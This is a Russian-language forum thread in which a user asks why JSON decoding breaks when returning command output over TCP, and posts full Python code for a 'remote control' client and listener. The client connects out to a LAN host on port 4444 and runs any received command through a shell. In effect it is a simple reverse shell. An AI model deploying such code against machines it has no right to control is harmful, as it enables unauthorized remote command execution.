Вопрос про кодирование отправленых json данных по tcp, в python3

VeD
Offline
Зарегистрирован: 21.02.2016

Мануалы и справочники открывал, все делал по ним,  когда я отправляю команду, то она спокойно пакуется  в  json  уходит клиенту и там распаковывается, без всяких ошибок.

Но при отправке результата выполненной команды, через  json, идет ошибка декодирования?
 
я просто не знаю у кого спросить
 
В общем пишу программу для удаленного управления компьютером.
код клиента 
 
#!/usr/bin/env python3 
import socket 
import json 
import subprocess 

'''ПРИЕМ ДАННЫХ С СЕРВЕРА В ФОРМАТЕ  JSON , РАСПАКОВКА И ДЕКОДИРОВАНИЕ '''
def reliable_recive(): 
json_data = connection.recv(1024) 
return json.loads(json_data.decode("utf-8")) 

'''ЗАПАКОВКА ДАННЫХ В JSON , КОДИРОВАНИЕ И ОТПРАВКА'''
def reliable_send(data): 
json_data = json.dumps(data).encode("utf-8") 
connection.send(json_data) 

 

#ВЫПОЛНЕНИЕ СИСТЕМНЫХ КОМАНД
def execute_system_command(command): 
return subprocess.check_output(command, shell=True, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL) 

#СОЗДАНИЕ ОБЪЕКТА ТИПА СОКЕТ
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

 
#СОЕДИНЕНИЕ С  IP  И ПОРТОМ
connection.connect(("192.168.0.102", 4444)) 

# ПРИНЯТИЕ УДАЛЕННЫХ КОММАНД 
while True: 
command = reliable_recive() 
if command[0] == "exit": 
connection.close() 
exit() 
# ОТПРАВКА ПРИНЯТОЙ КОМАНДЫ НА ОБРАБОТКУ И ВЫПОЛНЕНИЕ 
command_result = execute_system_command(command) 
reliable_send(command_result)

 
====================================
код сервера
 
#!/usr/bin/env python3 
import socket 
import json 

def reliable_send(data): 
json_data = json.dumps(data).encode("utf-8") 
connection.send(json_data) 

def reliable_recive(): 
json_data = connection.recv(1024) 
return json.loads(json_data.decode("utf-8")) 

listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 
listener.bind(("192.168.0.102", 4444)) 
listener.listen(0) 
print("\nwait connection\n") 

connection, address = listener.accept() 
print("Got connection from "+str(address)) 

while True: 
enter_command = input(">> ") 
enter_command = enter_command.split(" ") 
if enter_command[0] == "exit": 
connection.close() 
exit() 


reliable_send(enter_command) 

result = reliable_recive() 

print(result) 

 
Подключение идет нормально. Но при выполнении команд вылезает  ошибка. 
 
wait connection

Got connection from ('192.168.0.103', 55473)
>> dir
Traceback (most recent call last):
File "listener.py", line 35, in <module>
result = reliable_recive()
File "listener.py", line 11, in reliable_recive
return json.loads(json_data.decode("utf-8"))
File "/usr/lib/python3.8/json/__init__.py", line 357, in loads
return _default_decoder.decode(s)
File "/usr/lib/python3.8/json/decoder.py", line 337, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "/usr/lib/python3.8/json/decoder.py", line 353, in raw_decode
obj, end = self.scan_once(s, idx)
json.decoder.JSONDecodeError: Unterminated string starting at: line 1 column 1 (char 0)
Если даже в json.dumps  выключить  ascii, командой  ensure_ascii= False, тоже самое. 

Если у сервера, в функции 
def reliable_recive(): 
json_data = connection.recv(1024) 
return json.loads(json_data.decode("utf-8")) 
убрать decode()
Та же ошибка. 
Но если я отправляю команду, запаковав ее в  json и закодировав, то она приходит клиенту и выполняется( но мне нужно вернуть результат выполнение, желательно в json  формате) если я отправляю результат в формате  json  то происходит ошибка выше.
А если я возвращаю таким образом 
connection.send(command_result) 
и принимаю так 
result=connection.recv(1024)
print(result.decode('cp866')
То все нормально. 
Вопрос: почему, когда я отправляю команду, то она спокойно пакуется  в  json  уходит клиенту и там распаковывается, без всяких ошибок.
Но при отправке результата выполненной команды, через  json, идет ошибка декодирования?

 

VeD
Offline
Зарегистрирован: 21.02.2016
#код клиента 
 
#!/usr/bin/env python3 
import socket 
import json 
import subprocess 
'''ПРИЕМ ДАННЫХ С СЕРВЕРА В ФОРМАТЕ  JSON , РАСПАКОВКА И ДЕКОДИРОВАНИЕ '''
def reliable_recive(): 
json_data = connection.recv(1024) 
return json.loads(json_data.decode("utf-8")) 

'''ЗАПАКОВКА ДАННЫХ В JSON , КОДИРОВАНИЕ И ОТПРАВКА'''
def reliable_send(data): 
json_data = json.dumps(data).encode("utf-8") 
connection.send(json_data) 

 

#ВЫПОЛНЕНИЕ СИСТЕМНЫХ КОМАНД
def execute_system_command(command): 
return subprocess.check_output(command, shell=True, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL) 
#СОЗДАНИЕ ОБЪЕКТА ТИПА СОКЕТ
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

 
#СОЕДИНЕНИЕ С  IP  И ПОРТОМ
connection.connect(("192.168.0.102", 4444)) 
# ПРИНЯТИЕ УДАЛЕННЫХ КОММАНД 
while True: 
command = reliable_recive() 
if command[0] == "exit": 
connection.close() 
exit() 
# ОТПРАВКА ПРИНЯТОЙ КОМАНДЫ НА ОБРАБОТКУ И ВЫПОЛНЕНИЕ 
command_result = execute_system_command(command) 
reliable_send(command_result)

 

 

VeD
Offline
Зарегистрирован: 21.02.2016
#код сервера
 
#!/usr/bin/env python3 
import socket 
import json 
def reliable_send(data): 
json_data = json.dumps(data).encode("utf-8") 
connection.send(json_data) 

def reliable_recive(): 
json_data = connection.recv(1024) 
return json.loads(json_data.decode("utf-8")) 

listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 
listener.bind(("192.168.0.102", 4444)) 
listener.listen(0) 
print("\nwait connection\n") 

connection, address = listener.accept() 
print("Got connection from "+str(address)) 

while True: 
enter_command = input(">> ") 
enter_command = enter_command.split(" ") 
if enter_command[0] == "exit": 
connection.close() 
exit() 


reliable_send(enter_command) 
result = reliable_recive() 

print(result) 

 

VeD
Offline
Зарегистрирован: 21.02.2016

заменил в коде сервера (слушателя) кодировку с  utf-8  на  cp1252  в данной функции

def reliable_recive():
09 json_data = connection.recv(1024)
10 return json.loads(json_data.decode("utf-8"))
11  

вышла ошибка UnicodeDecodeError: 'charmap' codec can't decode byte 0x81 in position 15: character maps to <undefined>

 

Я так понял нужно подходящую кодировку найти.  Но я запаковывал  json  в  utf-8, и думал лекго распаковать его обратно с  utf-8 ино .... тупик

VeD
Offline
Зарегистрирован: 21.02.2016

написал немного попроще 

код сервера 

#!/usr/bin/env python3
import socket
import json



listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind(("192.168.0.102", 4444))
listener.listen(0)
print("\nwait connection\n")

connection, address = listener.accept()
print("Got connection from "+str(address))


while True:
	enter_command = input(">> ")
	command = json.dumps(enter_command,ensure_ascii=False).encode("utf-8")
    connection.send(command)
	result_recive = connection.recv(1024) 
	result=json.loads(result_recive.decode('utf-8'))

	print(result)

 

код клиента 

#!/usr/bin/env python3
import socket
import json
import subprocess


def execute_system_command(command):
	return subprocess.check_output(command, shell=True, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL)

connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(("192.168.0.102", 4444))

while True:
	command_recv = connection.recv(1024)
	command = json.loads(command_recv.decode('utf-8'))
	command_result = execute_system_command(command)
	result= json.dumps(command_result, ensure_ascii=False).encode('utf-8')
	connection.send(result)

при отправке команды на стороне клиента 

TypeError: Object of type bytes is not JSON serializable

на стороне сервера 

json.decoder.JSONDecodeError: Expecting value: line 1 colum 1 (char 0)

VeD
Offline
Зарегистрирован: 21.02.2016

как удалить данный пост?